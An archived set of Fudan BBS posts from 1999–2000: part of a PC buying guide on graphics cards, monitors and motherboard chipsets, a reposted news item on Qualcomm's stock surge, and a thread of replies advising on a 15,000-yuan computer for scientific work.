由于32bit渲染 对显存带宽有很高的要求,比如128bit SDRAM在150MHz带宽为 2.4GB/s，而显卡在进行32bit渲染时, 须进行1次读操作和两次写 操作（ zread , zwrite , cwrite ）, 带宽大的小将直接影响3D 卡在32bit色时的填充率, 所以像G400 MAX这种带宽较大的卡在做 32bit处理时性能较好也不足为奇了.所以, 像TNT2 M64这种64bit 显存接口的3D卡, 在做32bit处理时性能将比TNT2有明显下降。 （一）经济型 使用普通14“、15“和带宽110M以下的廉价17”显示器的经济 型系统，由于其实用分辨率在800*600以下，对图形性能不可能有 很高的要求。8M显存已经可以满足要求，一般配搭8~16 M显存的 TNT、9880或更经济的810/MVP4比较合理。这一类显卡cpu频率在 400~500基本可以比较好地发挥其性能，使用 PII300~450/C366~550/K6II400~550 。 ———————————画质←————→速度 性能优先————Xpert128 →TNT→ V3 2000 性能————→8MTNT→VooDooBanshee→8MTNT2v 价格————→9880→8M/16MS4GT→S3 价格优先————MVP4→810 提示： 1.优先考虑128位的显卡,坚决不要32M的64位的显卡； 2.810（no cache）和810DC/810E的性能差别很小，价格却相差 200元以上，完全可以把钱用在更需要的地方； 3.相同芯片核心差别不大，显存有8M以上就可以，要重点考虑显 存的速度和质量，不一定名牌的更快（主板也是如此）； 4.不要买热门品牌的低档15“,同样的价格往往可以买质量和性 能更好的冷门国际名牌（如EMC/CTX），买国内生产的显示器 （包括热门名牌）要仔细挑选； 5.合理优化和设置很重要，不同的配置设置要点不一样，就是3D 性能最低的MVP4/K6-2，也可以在Q3 800*600下有20帧的表 现，而且速度波动很小，画质也尚可接受。 6.对于没有3D要求，2D性能要求比较高的用户，可以考虑128位 S368； 7.除非价格相差很大，否则不要考虑SIS540/620,优先考虑 MVP4(2D好、画质佳、DVD解压、兼容性好，填充率不错但三角 形生成慢)/810（2D、画质都不错，3D稍好但填充率略低）； 8.使用AGP性能比较差的Via主板（MVP3/Via693），可配合 VooDoo系列，在部分游戏上有超出TNT系列的表现。 （二）主流系统 使用低档17”、19”（带宽170M以下）和高带宽15” (110M以上)显示器的主流系统，其实用分辨率一般在1024*768 以下，最好有16M显存，可搭配16M~32M的TNT2、Rage Fury 、V3、G400等。500~600的高性能CPU基本可以发挥其性能， 更好的cpu3D性能提高幅度不是很大，本人使用的TNT2U在K7 570(114*5)和K7 800 在800*600下性能相差不超过5%，使用 PIII500~600E/K7 500~600/C566~700性价比比较好。 ———————————画质←————→速度 性能优先————Rage Fury Pro →S2000 →TNT2U→ GF256SD 性能————→G400/16M→V3 3000→TNT2Pro 价格→性能————Rage Xpert128→V3 2000→16M TNT2 价格优先————S4Pro(如果有16M6nsS4也不错)→ 16M TNT2V→TNT 提示： 1.优先考虑128位的显卡,最好不要32M的64位的显卡； 2.16M TNT2超频后和32M TNT2U的性能差别很小，价格却相差 300元以上，完全可以把钱用在更需要的地方； 3.相同芯片核心差别不大，要重点考虑显存的速度和质量（尤其 是采用nVidia芯片的显卡），不一定名牌的更快（主板也是如 此）； 4.不要买热门品牌的低档17“,同样的价格往往可以买质量和性 能更好的冷门国际名牌（如EMC/CTX），买国内生产的显示器 （包括热门名牌）要仔细挑选； 5.不建议买杂牌17”显示器（以旧充新/以次充好）； 6.是否纯平不重要，关键要色纯好、失真小、文本清晰，指标主 要看点距、行频，再看带宽和功能； 7.合理优化和设置很重要，不同的配置设置要点不一样，就是3D 性能最低的TNT2V，也可以在Q3 800*600下有30帧的表现，速 度完全可接受。 8.对于3D要求不高，2D性能和画质要求比较高的用户，可以考虑 G200 9.除非很在乎面子，否则不要考虑32M的TNTM64和S4GT,可优先考 虑8M TNT 10.G400/Rage Fury(2D好、画质佳、DVD解压、填充率不错但三 角形生成慢)，TNT2（2D、画质都不错，三角形生成快3D稍好 但填充率略低，颜色偏淡）。 11.K7在采用nVidia芯片的显卡表现较好，使用塞羊最好配搭 VooDoo系列，性能牺牲比较小； 12.在非标准频率下ATI/3dfx的显卡表现最好， Matrox其次，创 新的nVidia系列也不错。 （三） 高性能型 使用高带宽17”或以上显示器的系统，其要求往往差 别很大，本人也没什么经验（失业在家，经济不好），根 据有限经验和有关资料，说一说简单的看法。一般这一类 显示器的实用分辨率可以达到1024*768或以上，在32 位 色深的情况下，一般显卡和CPU都可能成为系统瓶颈，只 有最新的或即将出台的东西才能有更好的3D图形表现， 32M 以上显存，300百万以上填充率显得很有必要，DDR、 多像素/多纹理、纹理压缩、T&L技术的使用更有利于完美 的3D图形表现，GeForce基于SDRAM版本的填充率在32bit 色时有明显下降,那为什么同样是SDRAM版的Savage 2000 却能在32bit保持一定的填充率呢? 这都归功于Savage 2000双像素/双纹理的流水线, 这于GeForce 在单周期处 理4个像素所不同, 双像素/双纹理并不会对带宽带来更多 的要求.在不久前Annanandtech做的测试中, Savage2000 在32bit色下的表现令人非常满意, 可能现在只有 GeForce 256 DDR版可与之媲美。T&L本来是为了解决低 速度的CPU和高性能的图形芯片之间的矛盾，现在看来违 反了其初充，只有更高性能的CPU才能发挥新一代高性能 的图形芯片的潜力，600以下的现有CPU是不能满足要求 的。 性能优先————NV15→Glaze3D→VooDoo 5000 性能————→NV11→S2000Pro DDR→GF256DDR→ 价格→性能————S2000 +→GF256→Rage Fury Maxx 价格优先————TNT2U/Pro→G400Max→VooDoo3000 提示： 1.多请教高手； 2.3、4⋯⋯(由高手回答)。 （四）业余图形设计 首先要有比较合适的显示器，显示器否纯平不重要，关键要色 纯好、失真小，指标主要看点距、行频，再看带宽和功能（现在比 较重要）。17“起码的指标是行频85K/带宽150M,具有比较完整调 整功能，行家可以考虑二手大屏（要胆大心细）。 其次是价格可以接受的显卡，要知道这是用来生成图形的，而 一般家用3D显卡是用来演示这些画面的，因此，并不是所有的显卡 都能很好的胜任这个工作： 最初级(Photoshop/3Ds max) 入门级(3DS max/CAD) Rage128 苹果机的选择 Synergy II 16/32M CAD很快 TNT/TNT2 也不是不可以 VX1/VX1-16 Maya也可以 Permedia2 老鸟们的旧爱 Permedia3 耕宇的VX1 图形设计对CPU和其它设备的要求也比较，尤其是没有浮点引 擎的入门级专业显卡，需要比较好的CPU才能更好的发挥其性能， 介绍这方面的有关文章很多，我就不敢再继续班门弄斧了。 未完待续，请看下一篇“二、合适的主板” 投稿网友：yuweijia 2000年4月9日 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.220] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
发信人: poppy (巫山一段云), 信区: Network 标 题: 通信公司Qualcomm股价狂涨12倍震撼华尔街 发信站: 日月光华站 (Tue Nov 16 12:04:06 1999) , 转信 　　无线电通讯业者Qualcomm公司的股价今年一涨再涨，已经上涨了12倍，周五收盘达37 8美元，涨32. 5%，分析师表示，这档股票来势汹汹，明年可望涨至450美元。 　　有趣的是Qualcomm正在出售公司一部分业务，这些业务虽还带来营收，但毛利率已渐趋 下降，公司并开始朝向网际网路发展。 　　Edward Jones公司分析师David Powers表示，Qualcomm可说是直步青云，现在最热门的 就是无线通讯业，以及网际网路(网络)业，而Qualcomm正处於这两种技术的发展新热潮。 　　Qualcomm正在发展高速的无线传输技术，这项技术可望搭配掌上型电脑，让使用者可随 处进行无线上网，投资人对此相当看好，就算Qualcomm目前的应收会因为部分业务出售而下 降，投资人也不在乎。 　　Powers表示，技术专利可带来很好的利润，而晶片(芯片)也是高利润的业务，两项合而 为一，企业的获利绝对突飞猛进。 　　Qualcomm已经把无线通讯器材制造部门卖给易利信(爱立信)（Ericsson），手机部分也 将出售，这两项业务的获利都开始缩水。 　　Qualcomm表示，现在可同时专注於手机晶片(芯片)的制造，以及开发无线通讯传输技术 。公司正在研发高载传输（High Data Rate，HDR）技术，每秒可传2.4MB的资料，这种速度 比目前的无线通讯快，而且和DSL与缆线数据机的速度相当。 　　Qualcomm计划将把这项技术用在手机、掌上型电脑、笔记型电脑的无线数据机上面。 　　Yankee集团分析师指出，Qualcomm专门朝向技术开发，使其成为用有很多专利权的公司 ，这将带来很高的毛利率，而且成本又低。 　　Qualcomm第四季获利达1.36亿元，每股盈余73美分，总营收11亿美元；去年同期为获利 4000万美元，每股盈余27美分，总营收9.26亿美元。 　　1999年会计年度晶片(芯片)组产品的营收，占总营收的29 %，今年5月，公司将大部分 基础建设业务卖掉，这部分占总营收的24%；公司还计划12月将出售手机制造业务，这部分 占总营收的37%。 　　Probe研究公司分析师Alan　Mosher认为，手机已成为大众商品，和一般家电产品一样 普通；Qua lcomm已经转向高速资料传输发展。 　　10年前，划码多路进阶（CDMA）的技术，由Qualcomm开发成功，当时公司致力於手机与 手机晶片(芯片)组的开发，提升CDMA的应用，现在CDMA已在全球广泛使用。 　　Qualcomm发言人Christine Trimble指出，当初跨足这个市场，是为了推广CDMA的应用 ，不过其它大型业者以成功开发了基础架构与手机市场，要和它们竞争很不容易。 　　Qualcomm9月份宣布，CDMA手机的成长率在过去一年达171%，目前全球使用者达将近35 00万户。如果你一年前买进Qualcomm，当时它的价格才20多美元，现在一定赚翻了。 　　但分析师警告，以公司基本面来看，Qualcomm近期的涨势有点过头，不过远景仍然看好 ；股价最近涨太凶，有拉回可能。另有分析师认为，今年这种涨幅，明年不可能再现，不过 公司仍相当有潜力，在投资人看好下，股价高点可期。 --
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 个人电脑合理配置粗探（二） 发信站: 日月光华站 (Sat Apr 22 10:36:21 2000) , 转信 (飞翔鸟硬件资讯站 birds.bta.net.cn) 二、合适的主板 对于一般人来说，主板的选择往往是最头疼的，其实是最简 明的事情。从主板的主体芯片组的发展来看，更新换代远远慢于 CPU和显示芯片，选择主板首先应该从芯片组入手。在用途清 楚、预算明确，大致选择好CPU和显示系统之后，主要就是选择 品牌和功能的问题了。 （一）从芯片组看主板的类型 1. Socket7 PC机从386时代开始普遍使用Socket插座来安装CPU，从 Socket 4、Socket 5、Socket 7到现在的Socket 370，以及即 将出台的Socket462、Socket423等 以我们最常见的Socket 7为例，它是方形多针角零插拔力插 座，插座上有一根拉杆，在安装和更换CPU时只要将拉杆向上拉 出，就可以轻易地插进或取出CPU芯片了。Socket 7插座适用范 围很广，不但可以安装Intel Pentium、Pentium MMX，还可以 安装AMD K5、K6、K6-2、K6-III、Cyrix MII等等处理器。 与Socket 7搭配的主板芯片组主要有Intel FX、VX、HX、 TX，VIA VP1、VPX、VP2、VP3，Ali Aladdin IV(TXPro) 以及 SiS 5591/5595等，它们支持的CPU外部频率一般为66、75以及 83MHz，其中VX、TX和VP3除了支持普通的SIMM（72线内存） 外，还支持DIMM（168线内存），VIA的VP3芯片组SiS 5591/5595和更是支持AGP图形接口标准。 随后出现的Super 7标准是在Socket 7基础上发展起来的， 与后者相比，Super 7结构增加了对处理器100MHz外频、AGP的 支持，其代表产品为VIA的MVP3芯片组和Ali 的Aladdin V芯片 组，Super 7架构可以支持AMD K6-2、K6-III处理器。 大约是在98年，业界曾经推出过一款MediaGX芯片，通过独 特的集成化设计，成功地将CPU和北桥芯片整合在一起，然后再 搭配实际上起南桥作用的Cx5510辅助芯片和一颗Super I/O，便 几乎完成了一套完整的PC电路架构。台湾矽统科技（SiS）的 5571、5581/5582芯片组也是这类集成芯片中的佼佼者，它们突 破南北桥芯片的设计，以单一芯片涵盖了南北桥的所有功能。另 外，象扬智公司（ALi）的阿拉丁（Aladdin）Ⅳ+和Ⅴ芯片所配 备的M1543南桥芯片，更是干脆将Super I/O的功能集成了过来， 从一个侧面降低了主板生产厂商的工艺成本。其实不仅在主板 上，许多电脑的相关设备都曾经或多或少的做过类似的整合工 作，比如在图形加速芯片中内建RAMDAC，或是在Super I/O里集 成KBC和RTC，从而使之成为Ultra I/O。VIA 的MVP4 芯片组的 北桥芯片整合了Trident9880图形芯片。该产品也属于上文提到 的，在芯片功能整合方面颇有新意的作品。除MVP4的北桥芯片 VT82C501外，矽统（SiS）也在这方面继续研究开发，SiS5596 北桥芯片内建的是SiS6205显示芯片；另外SiS530/5595，它的 北桥530集成了SiS6326显示芯片（虽然该芯片除在DVD回放方面 有独到之处，其余便乏善可陈）。其540整合的图形芯片从技术 指标看相当不错，整合了几乎所有的功能，不过SiS芯片组的整 体性能一向不佳。至于MediaGX，则是用S3的一款早期产品。ALI 有一款整合TNT2的Ali 7值得期待，不过迟迟不见踪影。 2. Slot和Socket370 我们先来看看Slot 1，这种接口方式是由Intel提出的，采 用GTL+协议，它是一个狭长的242引脚的插槽，可以支持采用SEC （单边接触）封装技术的Pentium II、Pentium III和Celeron 处理器Intel LX、EX、BX、ZX、810/820/840，VIA Apollo Pro 691、693、694X芯片组是其中的代表，前两种LX、EX最高 只能达到83MHz外频，其他可以支持100外频，810E、693、694X 支持133外频。 除了接口方式不同外，Socket370所支持的特性与Slot 1系 统没有什么太大的差别。支持Intel的Mendocino（塞羊）、 Coppermine（铜矿）、VIA第一颗Socket 370处理器Joshua （约苏亚）。 Slot 2接口标准与Slot 1类似，不过它是面向高端服务器 市场的，与其搭配的主板芯片组为Intel GX、NX、820/840，处 理器为Xeon至强。 与Slot 1、Slot 2不同，Slot A接口标准是由Intel的竞争 对手AMD提出的，它支持AMD K7处理器，与其搭配的芯片组为AMD 自己的AMD 751芯片，VIA作为非Intel阵营的战士之一，也推出 支持K7的KX133芯片组问世。虽然从外观上看Slot A与Slot 1十 分相像，但是由于它们的电气性能不同，两者并不兼容。 同样Slot 1/Socket370也有整合主板，SiS620、630， Intel810，其中是SiS620、630的规格与SiS530、540相同，810 整合了i752(i740加强型)，根据功能不同，有810L(不支持 DMA66很少见)/810（no vedio cache）/810DC/810E(正式支持 PC133) 等组合，还有支持额外AGP的815。其他厂家也有类似的 计划，方便大家升级更高级的显卡。 　 （二）Socket7系统的选择 优先次序 芯片组 芯片组特点 对号入座 1~2ML2cache 可支持2M L2 辉煌MP-VIP4-X/V 性能 优先 高性能 cache、内存 （1~2M cache） 之王 性能 MVP3，最好 异步、 支持133以上 UDMA66(686A) 皇朝“黄金战士” 超频 外频 （2Mcache） 利器 大众2013(2Mcache) 有目 共睹 性 价 名牌ALI V或 ALI V的内存 皇朝“黄金战士” 性价 能 格 MVP3 等性能略优于 （2Mcache） 比高 同样 512Kcache的 MVP3 Awill XA100plus 稳定 性好 DFI K6BV3+ 性能 不错 Epox MVP3G2 功能 齐全 价 性 ALI V、MVP3 MVP4各方面性 MSI5169 宝刀 格 能 或133外频 能比较均衡， 不老 MVP4 DVD回放不错 Epox MVP4A 133 外频 价格 MVP4 PCCHIPS MVP4精英 价格 优先 生产 合理 提示 1.购买Socket7主板要重视主板高外频的稳定性，能在133以上 外频稳定运行的K6系统在相同主频下性能比66外频平均高 40%； 2.Socket7主板的整体素质不如Stol 1主板，很多主板的电压 变换器并不能提供K6-2 350以上稳定工作的电流，I/O电压 也不稳定，限制K6系列最需要的外频提高幅度； 3.最好咨询一下AGP能否提供你的显卡所需要的电流，ALI主板 在AGP支持方面还应该做得更好； 4.除非您是个高品位的音乐爱好者，并准备在音频系统投资 2000元以上（400元以上的声卡&2000元以上的音箱），否 则优先考虑采用686A，除了有AC97以外，其它性能和功能都 比586B优秀，可能是迄今为止最好的南桥； 5.除非打定主意购买500元以上的显卡，否则可以考虑有100以 上外频的MVP4,其显卡的性能随着外频的提高而迅速提升， 如果设置得当，在133外频几乎可以和一大堆杂牌32M显卡 （很多居然采用打磨的LGS 7J做显存）抗衡； 6.除非价格相差很大，而且不太在乎性能，否则不要优先考虑 用SiS530的主板； 7.不支持100外频的老一代非整合主板，在性价比方面已经没 有很大的优势，除非您的预算在3000元以下，以一般文字处 理为主，否则考虑PCCHIPS MVP4(包括很多品牌 550~650元)，干什么都没问题； 8.除了个别游戏外，实际上TNT/TNT2在MVP3主板上的3D性能 优于其他显卡，除非AGP电流不足，否则和VIA Apollo Pro （691）主板性能相当（CPU浮点性能相当的情况下，如K6-2 450&C300A）; 9.有人认为相同配置的情况下，使用塞羊比使用K6-2快7倍 （8：1），本人特意比较了TNT在K6-2 400oc533/MVP3&C300oc338（纯浮点相当于K6 533） /691&C533/691中的性能（其他用同一套东西），得出相反 的结论，CPU 3D Marks大约是3：1：2，在Q3 800/16 帧数 非常接近（30左右），不过仍以K6-2 533最快，在 支持 3Dnow的Q2中优势更大（详情在以后另表）。 10.TNT由于多边形和填充率配合不是最佳，在某些应用中速度 变化很大，造成掉帧的错觉，这个与CPU、主板没有很大的 关系； 11.MediaGX主板不管主频多高，均不如真正的586，不要指望放 VCD能流畅，同样的价钱可以买300多的板载显存的整合主板 +100多的K6。 12.对于Socket7主板，相同芯片组和相同配制的主板性能可相 差最大10%，稳定性好的性能和功能一般不会太突出，如技 嘉和艾葳，本文推荐的产品个人就经验来说一般性能和稳定 性都不错，从性价比讲首推皇朝“黄金战士”（680元左 右）和Pcchips MVP4(600元左右各品牌有所不同)。 　 （三）Slot 1/Socket 370主板的选择 先看看各种主流芯片组的表现,测试平台如下: Intel Pentium III 600EB (4.5x133) CPU Creative 3DBlaster Annihilator（GEFORCE 256） Creative Sound Blaster Live! IBM DJNA 372200 硬盘 128MB 三星 PC100 SDRAM (CAS2) 优先 次序 芯片组 芯片组特点 对号入座 性能 815、 815支持 AUSU CUBX BX性能功 优先 BX+DMA66 PC133、4XAGP 能代表 和AGP插槽 Epox BX7+ 功能不错 性 价 BX/ZX BX在超频状态 DFI 性能突出 能 格 下性能突出,ZX PB61-ZX+(DMA66) 实际上更好 AUSU P3BF/P2B 性能均衡 Aopen AX6BC 稳定性不错 价 性 ZX和694X 694X支持 Ausu P3V4X 性能突出 格 能 PC133、4XAGP DFI PB61-ZX 性能突出 Soltek SL-67KV 各方面都不错 价格 810或普 810带显卡声 Solket SL-67G60 性能突出 优先 通ZX 卡、DMA66 AUSU MEW-AML 2D性能高 Pcchips 810 性价比高 提示 1.820+RDRAM更适合高端应用，694X只是一个好的游戏平台， 超频后的BX仍然象一个不甘心退位的人； 2.购买配搭PIIIE的Slot 1/370主板要重视主板高外频的稳定 性，除非不想超频 ; 3.很多主板的电压变换器I/O电压不能调节，限制外频提高后 的稳定性； 4.除非你需要4条DIMM，否则完全可以考虑ZX板，尤其是对于 追求性能的朋友。相同品牌与结构的ZX和BX主板，性能相差 不大，从理论上讲ZX应该更好，实践有证明如此。 5.最好咨询一下AGP能否提供你的显卡所需要的电流，VIA主板 在AGP支持方面还是有进步的，不过在专业应用方面仍然表 现不佳； 6.810的AC97虽然不如686A，只要超频不厉害，配合500元以 下的音箱就别再买好声卡。 7.除非打定主意购买TNT2级以上的显卡，否则可以考虑810,其 显卡的性能随着外频的提高而迅速提升，如果设置得当，几 乎可以和一大堆杂牌32M显卡（很多居然采用打磨的LGS 7J 做显存）抗衡； 8.除非价格相差很大，而且根本不在乎性能，否则不要考虑用 SiS620的主板； 9.不支持100外频的老一代非整合主板，在性价比方面已经没 有很大的优势，除非您的预算在3000元以下，以一般文字处 理为主，否则考虑PCCHIPS 810(包括很多品牌 550~650元)，干什么都凑合； 10.除了个别游戏外，实际上TNT/TNT2在VIA694X主板上的3D性 能优于其他同级别显卡，除非AGP电流不足，否则根本不存 在兼容性的问题; 11.游戏中，在超频的情况下（133外频）BX/ZX 比694X(133A) 快10%左右，694X比820快5~10%，也比693/691快。 12.TNT由于多边形和填充率配合不是最佳，在某些应用中速度 变化很大，造成掉帧的错觉，这个与CPU、主板没有很大的 关系,其他显卡也或多或少的存在这个问题； 13.对于Slot 1/370主板，由于购架与Socket 7不同，相同芯 片组和相同配制的主板性能差别比较小，最大相差约3%，稳 定性好的性能和功能一般不会太突出，如技嘉和艾葳，本文 推荐的产品个人就经验来说一般性能和稳定性都不错，从性 价比讲首推AUSU P3V4X和Pcchips 810(600元左右各品牌有 所不同)。 　 （四）Slot A/Socket A主板的选择 由于面市时间相对比较短，品牌和品种相对比较少，本人也 是刚刚升级到Slot 1系统，经验不多，不过可以认为在现有主板 构架中，其潜力是最大的，Spitfire850的CPU Marks几乎相当 于CIII850的两倍，很多资料认为Spitfire只能使用Socket A主 板，本人初步大胆的预测Spitfire初期可以通过转接卡使用于 Slot A主板，下面简单的推荐个人认为比较有特点的Slot A主 板。 MSI 6167 稳定性好（与人们对一般微星主板的看法相反）、性 价比高 MSI K7Pro 功能性能都不错，价格也比较合理 Epox 7KXA(REV0.4) 图形性能比较好，做为游戏平台不错，价 格也可以接受 AUSU K7V-RM 功能多，比较适合超频爱好者，价格比较高 梅捷 K7 ATA 功能更强大，今后有调节外频的功能，新版本可能 支持DMA100 提示： 1.AMD751仍然是商业和高端应用的家选，KX133则是更好的图 形应用平台； 2.3、4、⋯⋯(由高手回答)。 未完待续 投稿网友：yuweijia 2000年4月20日 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.244] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: barium (三千溺水取一瓢), 信区: Hardware 标 题: 15K机器的配置 发信站: 日月光华站 (Mon Oct 16 13:23:08 2000) , 转信 老板要给我买台机器，主要用于科学计算(数值模拟，解偏微分方程组)。 加一台激打，15,000元左右。 找了张华海的报价单，瞎配了一下，请各位大虾给拿个主意。 配件 型号 报价 说明 CPU PIII800盒 2340 PIII850要3100，贵 内存 Kingmax 128M*2 2040 想买三星 256M ECC，要3100，值得吗？ 硬盘 金钻四 40G 1970 IBM玻璃40G不知道要多少？ 光驱 大白鲨 44× 440 钢机芯好吗？ 主板 Intel 815E(含声卡) 1250 看到前面的“硬件行情”要1350，why? 显卡 小影霸TNT2 32M 620 基本不玩游戏 显示器 Acer 78C 2350 跟Philips 107G比如何？ 软驱 Sony 113 键盘 Acer 52M防水 120 键盘、鼠标用好点的 鼠标 罗技天貂(三键) 135 网卡 D-Link单 85 要不要100M的？ Modern 金网霸56K内置 115 等拉了电话后用，外置就没必要了 Hub D-Link 8口 345 留待以后再进来研究生用，4口多少钱？ 音箱 导航者木质 88 呵呵，本人乐盲，作背景噪声用的 耳机 50 机箱 保利得7237 380 要必要买好的电源吗？ 网线 150m 300 Hub-Hub就要100m 打印机 HP 6Lpro 3150 这个老板用的，买Canon更便宜吧？ total -------------------15900 16,000内老板估计不会反对 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.16.12.208] 发信人: overload (国王), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Mon Oct 16 13:55:05 2000) , 转信 好奢侈呀，这么贵的东东【 在 barium (三千溺水取一瓢) 的大作中提到: 】 : 老板要给我买台机器，主要用于科学计算(数值模拟，解偏微分方程组)。 : 加一台激打，15,000元左右。 : 找了张华海的报价单，瞎配了一下，请各位大虾给拿个主意。 : 配件 型号 报价 说明 : CPU PIII800盒 2340 PIII850要3100，贵 : 内存 Kingmax 128M*2 2040 想买三星 256M ECC，要3100，值得吗？ : 硬盘 金钻四 40G 1970 IBM玻璃40G不知道要多少？ : 光驱 大白鲨 44× 440 钢机芯好吗？ : 主板 Intel 815E(含声卡) 1250 看到前面的“硬件行情”要1350，why? : 显卡 小影霸TNT2 32M 620 基本不玩游戏 : 显示器 Acer 78C 2350 跟Philips 107G比如何？ : 软驱 Sony 113 : 键盘 Acer 52M防水 120 键盘、鼠标用好点的 : 鼠标 罗技天貂(三键) 135 : 网卡 D-Link单 85 要不要100M的？ : Modern 金网霸56K内置 115 等拉了电话后用，外置就没必要了 : Hub D-Link 8口 345 留待以后再进来研究生用，4口多少钱？ : 音箱 导航者木质 88 呵呵，本人乐盲，作背景噪声用的 : 耳机 50 : 机箱 保利得7237 380 要必要买好的电源吗？ : 网线 150m 300 Hub-Hub就要100m : 打印机 HP 6Lpro 3150 这个老板用的，买Canon更便宜吧？ : total -------------------15900 16,000内老板估计不会反对 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.15.10.7] 发信人: frankzhou (永不言老), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Mon Oct 16 14:18:29 2000) , 转信 真是个畸形配置 反真不玩游戏,有必要买PIII800嘛 【 在 barium (三千溺水取一瓢) 的大作中提到: 】 : 老板要给我买台机器，主要用于科学计算(数值模拟，解偏微分方程组)。 : 加一台激打，15,000元左右。 : 找了张华海的报价单，瞎配了一下，请各位大虾给拿个主意。 : 配件 型号 报价 说明 : CPU PIII800盒 2340 PIII850要3100，贵 : 内存 Kingmax 128M*2 2040 想买三星 256M ECC，要3100，值得吗？ : 硬盘 金钻四 40G 1970 IBM玻璃40G不知道要多少？ : 光驱 大白鲨 44× 440 钢机芯好吗？ : 主板 Intel 815E(含声卡) 1250 看到前面的“硬件行情”要1350，why? : 显卡 小影霸TNT2 32M 620 基本不玩游戏 : 显示器 Acer 78C 2350 跟Philips 107G比如何？ : 软驱 Sony 113 : 键盘 Acer 52M防水 120 键盘、鼠标用好点的 : 鼠标 罗技天貂(三键) 135 : 网卡 D-Link单 85 要不要100M的？ : Modern 金网霸56K内置 115 等拉了电话后用，外置就没必要了 : Hub D-Link 8口 345 留待以后再进来研究生用，4口多少钱？ : 音箱 导航者木质 88 呵呵，本人乐盲，作背景噪声用的 : 耳机 50 : 机箱 保利得7237 380 要必要买好的电源吗？ : 网线 150m 300 Hub-Hub就要100m : 打印机 HP 6Lpro 3150 这个老板用的，买Canon更便宜吧？ : total -------------------15900 16,000内老板估计不会反对 -- :( ( )::::: 东边日出西边雨 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.24.13.113] 发信人: blinkday (blinkday), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Mon Oct 16 14:36:04 2000) , 转信 碰上这样的老板，真是。。。。用于科学计算？你们的老板 是不是有点。。。【 在 barium (三千溺水取一瓢) 的大作中提到: 】 : 老板要给我买台机器，主要用于科学计算(数值模拟，解偏微分方程组)。 : 加一台激打，15,000元左右。 : 找了张华海的报价单，瞎配了一下，请各位大虾给拿个主意。 : 配件 型号 报价 说明 : CPU PIII800盒 2340 PIII850要3100，贵 : 内存 Kingmax 128M*2 2040 想买三星 256M ECC，要3100，值得吗？ : 硬盘 金钻四 40G 1970 IBM玻璃40G不知道要多少？ : 光驱 大白鲨 44× 440 钢机芯好吗？ : 主板 Intel 815E(含声卡) 1250 看到前面的“硬件行情”要1350，why? : 显卡 小影霸TNT2 32M 620 基本不玩游戏 : 显示器 Acer 78C 2350 跟Philips 107G比如何？ : 软驱 Sony 113 : 键盘 Acer 52M防水 120 键盘、鼠标用好点的 : 鼠标 罗技天貂(三键) 135 : 网卡 D-Link单 85 要不要100M的？ : Modern 金网霸56K内置 115 等拉了电话后用，外置就没必要了 : Hub D-Link 8口 345 留待以后再进来研究生用，4口多少钱？ : 音箱 导航者木质 88 呵呵，本人乐盲，作背景噪声用的 : 耳机 50 : 机箱 保利得7237 380 要必要买好的电源吗？ : 网线 150m 300 Hub-Hub就要100m : 打印机 HP 6Lpro 3150 这个老板用的，买Canon更便宜吧？ : total -------------------15900 16,000内老板估计不会反对 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 202.121.142.92] 发信人: syyes (小咸咸), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Mon Oct 16 15:45:56 2000) , 转信 电源，机箱应该再好点 【 在 barium (三千溺水取一瓢) 的大作中提到: 】 : 老板要给我买台机器，主要用于科学计算(数值模拟，解偏微分方程组)。 : 加一台激打，15,000元左右。 : 找了张华海的报价单，瞎配了一下，请各位大虾给拿个主意。 : 配件 型号 报价 说明 : CPU PIII800盒 2340 PIII850要3100，贵 : 内存 Kingmax 128M*2 2040 想买三星 256M ECC，要3100，值得吗？ : 硬盘 金钻四 40G 1970 IBM玻璃40G不知道要多少？ : 光驱 大白鲨 44× 440 钢机芯好吗？ : 主板 Intel 815E(含声卡) 1250 看到前面的“硬件行情”要1350，why? : 显卡 小影霸TNT2 32M 620 基本不玩游戏 : 显示器 Acer 78C 2350 跟Philips 107G比如何？ : 软驱 Sony 113 : 键盘 Acer 52M防水 120 键盘、鼠标用好点的 : 鼠标 罗技天貂(三键) 135 : 网卡 D-Link单 85 要不要100M的？ : Modern 金网霸56K内置 115 等拉了电话后用，外置就没必要了 : Hub D-Link 8口 345 留待以后再进来研究生用，4口多少钱？ : 音箱 导航者木质 88 呵呵，本人乐盲，作背景噪声用的 : 耳机 50 : 机箱 保利得7237 380 要必要买好的电源吗？ : 网线 150m 300 Hub-Hub就要100m : 打印机 HP 6Lpro 3150 这个老板用的，买Canon更便宜吧？ : total -------------------15900 16,000内老板估计不会反对 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.11.5.208] 发信人: mikecat (虎皮猫), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Mon Oct 16 16:45:30 2000) , 转信 如果是我，宁可不买TNT2也要256MECC。如果你真的不打算配一台游戏机的话。 我认为TNT2纯属鸡肋。不如ATI All IN WONDER，后者带视频编辑 功能，有DVD回放，配合CDR可刻自己的VCD。。。 【 在 barium (三千溺水取一瓢) 的大作中提到: 】 : 老板要给我买台机器，主要用于科学计算(数值模拟，解偏微分方程组)。 : 加一台激打，15,000元左右。 : 找了张华海的报价单，瞎配了一下，请各位大虾给拿个主意。 : 配件 型号 报价 说明 : CPU PIII800盒 2340 PIII850要3100，贵 : 内存 Kingmax 128M*2 2040 想买三星 256M ECC，要3100，值得吗？ : 硬盘 金钻四 40G 1970 IBM玻璃40G不知道要多少？ : 光驱 大白鲨 44× 440 钢机芯好吗？ : 主板 Intel 815E(含声卡) 1250 看到前面的“硬件行情”要1350，why? : 显卡 小影霸TNT2 32M 620 基本不玩游戏 : 显示器 Acer 78C 2350 跟Philips 107G比如何？ : 软驱 Sony 113 : 